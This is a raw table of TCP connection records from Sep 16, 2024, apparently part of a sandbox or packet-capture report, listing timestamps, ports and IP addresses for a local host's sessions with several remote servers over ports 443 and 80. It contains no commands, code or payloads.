Sep 16, 2024 21:11:15.329523087 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.329530001 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.331259012 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.331279039 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.331356049 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.331363916 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.332351923 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.332374096 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.332469940 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.332478046 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.333117008 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.333137989 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.333188057 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.333194971 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.333220005 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.334131956 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.334151983 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.334204912 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.334213018 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.335230112 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.335247993 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.335316896 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.335321903 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.335344076 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.336339951 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.336358070 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.336425066 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.336432934 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.336443901 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.337423086 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.337440014 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.337482929 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.337490082 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.337507010 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.338378906 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.338399887 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.338493109 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.338499069 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.338987112 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.339019060 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.339099884 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.339106083 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.339117050 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.339906931 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.339926004 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.339981079 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.339989901 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.340007067 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.341633081 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.341650963 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.341712952 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.341717005 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.341728926 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.341773987 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.341778994 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.341798067 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.341849089 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.342813015 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.342833996 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.342899084 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.342904091 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.342920065 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.342942953 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.343664885 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.343732119 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.344520092 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.344542980 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.344602108 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.344620943 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.344683886 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.345458031 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.345479012 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.345524073 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.345536947 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.345549107 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.345570087 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.345586061 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.345594883 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.345609903 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.345623016 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.345659018 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.346416950 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.346436024 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.346510887 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.346529007 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.346570969 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.347353935 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.347377062 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.347424984 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.347430944 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.347450018 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.347470999 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.348288059 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.348340988 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.348349094 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.348361015 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.348377943 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.348397017 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.348409891 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.348423004 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.348439932 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.348457098 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.349194050 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.349212885 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.349260092 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.349268913 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.349302053 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.350130081 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.350150108 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.350204945 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.350218058 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.350240946 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.350258112 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.350898981 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.350920916 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.350961924 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.350967884 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.350989103 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.350996971 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.351015091 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.351021051 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.351033926 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.351052046 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.351083994 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.352056980 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.352077007 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.352140903 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.352148056 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.352196932 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.352794886 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.352817059 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.352843046 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.352848053 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.352871895 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.352890015 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.353533030 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.353554964 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.353611946 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.353622913 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.353627920 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.353665113 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.353687048 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.354523897 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.354543924 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.354589939 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.354593992 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.354605913 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.354607105 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.354645014 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.354650021 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.354671955 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.354707956 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.354712009 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.354744911 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.354759932 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.354762077 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.354809046 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.354979038 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.354994059 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.363586903 CEST	49719	80	192.168.2.16	157.173.120.174
Sep 16, 2024 21:11:15.368530035 CEST	80	49719	157.173.120.174	192.168.2.16
Sep 16, 2024 21:11:15.368626118 CEST	49719	80	192.168.2.16	157.173.120.174
Sep 16, 2024 21:11:15.368765116 CEST	49719	80	192.168.2.16	157.173.120.174
Sep 16, 2024 21:11:15.374016047 CEST	80	49719	157.173.120.174	192.168.2.16
Sep 16, 2024 21:11:15.635086060 CEST	49720	443	192.168.2.16	184.28.90.27
Sep 16, 2024 21:11:15.635124922 CEST	443	49720	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:15.635196924 CEST	49720	443	192.168.2.16	184.28.90.27
Sep 16, 2024 21:11:15.637053013 CEST	49720	443	192.168.2.16	184.28.90.27
Sep 16, 2024 21:11:15.637065887 CEST	443	49720	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:15.837548018 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:15.837613106 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:15.837713957 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:15.837937117 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:15.837954998 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:15.929035902 CEST	49678	443	192.168.2.16	20.189.173.10
Sep 16, 2024 21:11:16.231971979 CEST	49678	443	192.168.2.16	20.189.173.10
Sep 16, 2024 21:11:16.283121109 CEST	49722	443	192.168.2.16	142.250.185.164
Sep 16, 2024 21:11:16.283173084 CEST	443	49722	142.250.185.164	192.168.2.16
Sep 16, 2024 21:11:16.283232927 CEST	49722	443	192.168.2.16	142.250.185.164
Sep 16, 2024 21:11:16.283580065 CEST	49722	443	192.168.2.16	142.250.185.164
Sep 16, 2024 21:11:16.283593893 CEST	443	49722	142.250.185.164	192.168.2.16
Sep 16, 2024 21:11:16.303766966 CEST	443	49720	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:16.303844929 CEST	49720	443	192.168.2.16	184.28.90.27
Sep 16, 2024 21:11:16.334440947 CEST	49720	443	192.168.2.16	184.28.90.27
Sep 16, 2024 21:11:16.334455967 CEST	443	49720	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:16.334768057 CEST	443	49720	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:16.377788067 CEST	49720	443	192.168.2.16	184.28.90.27
Sep 16, 2024 21:11:16.423403025 CEST	443	49720	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:16.573226929 CEST	443	49720	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:16.573396921 CEST	443	49720	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:16.573457003 CEST	49720	443	192.168.2.16	184.28.90.27
Sep 16, 2024 21:11:16.573537111 CEST	49720	443	192.168.2.16	184.28.90.27
Sep 16, 2024 21:11:16.573559999 CEST	443	49720	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:16.615098953 CEST	49723	443	192.168.2.16	184.28.90.27
Sep 16, 2024 21:11:16.615151882 CEST	443	49723	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:16.615222931 CEST	49723	443	192.168.2.16	184.28.90.27
Sep 16, 2024 21:11:16.615540028 CEST	49723	443	192.168.2.16	184.28.90.27
Sep 16, 2024 21:11:16.615554094 CEST	443	49723	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:16.843146086 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:16.843522072 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:16.843568087 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:16.844125032 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:16.844202042 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:16.844846964 CEST	49678	443	192.168.2.16	20.189.173.10
Sep 16, 2024 21:11:16.845176935 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:16.845242023 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:16.845417023 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:16.845499992 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:16.845684052 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:16.845700026 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:16.891849995 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:16.896410942 CEST	49724	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:16.896461964 CEST	443	49724	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:16.896547079 CEST	49724	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:16.897533894 CEST	49724	443	192.168.2.16	40.127.169.103
Sep 16, 2024 21:11:16.897558928 CEST	443	49724	40.127.169.103	192.168.2.16
Sep 16, 2024 21:11:16.932075024 CEST	443	49722	142.250.185.164	192.168.2.16
Sep 16, 2024 21:11:16.932359934 CEST	49722	443	192.168.2.16	142.250.185.164
Sep 16, 2024 21:11:16.932394981 CEST	443	49722	142.250.185.164	192.168.2.16
Sep 16, 2024 21:11:16.934101105 CEST	443	49722	142.250.185.164	192.168.2.16
Sep 16, 2024 21:11:16.934290886 CEST	49722	443	192.168.2.16	142.250.185.164
Sep 16, 2024 21:11:16.938313007 CEST	49722	443	192.168.2.16	142.250.185.164
Sep 16, 2024 21:11:16.938401937 CEST	443	49722	142.250.185.164	192.168.2.16
Sep 16, 2024 21:11:16.942367077 CEST	80	49719	157.173.120.174	192.168.2.16
Sep 16, 2024 21:11:16.946348906 CEST	49725	80	192.168.2.16	157.173.120.174
Sep 16, 2024 21:11:16.951186895 CEST	80	49725	157.173.120.174	192.168.2.16
Sep 16, 2024 21:11:16.951257944 CEST	49725	80	192.168.2.16	157.173.120.174
Sep 16, 2024 21:11:16.951390982 CEST	49725	80	192.168.2.16	157.173.120.174
Sep 16, 2024 21:11:16.956115961 CEST	80	49725	157.173.120.174	192.168.2.16
Sep 16, 2024 21:11:16.987814903 CEST	49722	443	192.168.2.16	142.250.185.164
Sep 16, 2024 21:11:16.987833023 CEST	443	49722	142.250.185.164	192.168.2.16
Sep 16, 2024 21:11:16.987834930 CEST	49719	80	192.168.2.16	157.173.120.174
Sep 16, 2024 21:11:17.034894943 CEST	49722	443	192.168.2.16	142.250.185.164
Sep 16, 2024 21:11:17.098856926 CEST	49673	443	192.168.2.16	204.79.197.203
Sep 16, 2024 21:11:17.101162910 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.101222992 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.101243019 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.101284981 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.101326942 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.101326942 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.101351976 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.101413965 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.101480961 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.101481915 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.101481915 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.188348055 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.188394070 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.188436985 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.188492060 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.188513994 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.188577890 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.189258099 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.189347982 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.189359903 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.191566944 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.191610098 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.191643953 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.191657066 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.191684008 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.242847919 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.251883030 CEST	443	49723	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:17.251957893 CEST	49723	443	192.168.2.16	184.28.90.27
Sep 16, 2024 21:11:17.253020048 CEST	49723	443	192.168.2.16	184.28.90.27
Sep 16, 2024 21:11:17.253030062 CEST	443	49723	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:17.253351927 CEST	443	49723	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:17.254468918 CEST	49723	443	192.168.2.16	184.28.90.27
Sep 16, 2024 21:11:17.278000116 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.278099060 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.278119087 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.279177904 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.279251099 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.279268980 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.279283047 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.279320955 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.280380964 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.280424118 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.280461073 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.280472994 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.280515909 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.282074928 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.282114029 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.282156944 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.282169104 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.282207012 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.295437098 CEST	443	49723	184.28.90.27	192.168.2.16
Sep 16, 2024 21:11:17.321855068 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.377351046 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.377398968 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.377453089 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.377489090 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.377516985 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.377542019 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.377796888 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.377844095 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.377887011 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.377902031 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.377928972 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.377952099 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.380040884 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.380104065 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.380147934 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.380160093 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.380188942 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.380211115 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.380222082 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.381038904 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.381086111 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.381110907 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.381124020 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.381164074 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.382426977 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.382519007 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.382531881 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.382599115 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.382688046 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.382699013 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.383558989 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.383635044 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.383646965 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.383699894 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.383771896 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.383781910 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.386101961 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.386142969 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.386173010 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.386187077 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.386236906 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.389789104 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.389870882 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.389883041 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.390024900 CEST	443	49721	43.157.144.191	192.168.2.16
Sep 16, 2024 21:11:17.390085936 CEST	49721	443	192.168.2.16	43.157.144.191
Sep 16, 2024 21:11:17.390095949 CEST	443	49721	43.157.144.191	192.168.2.16
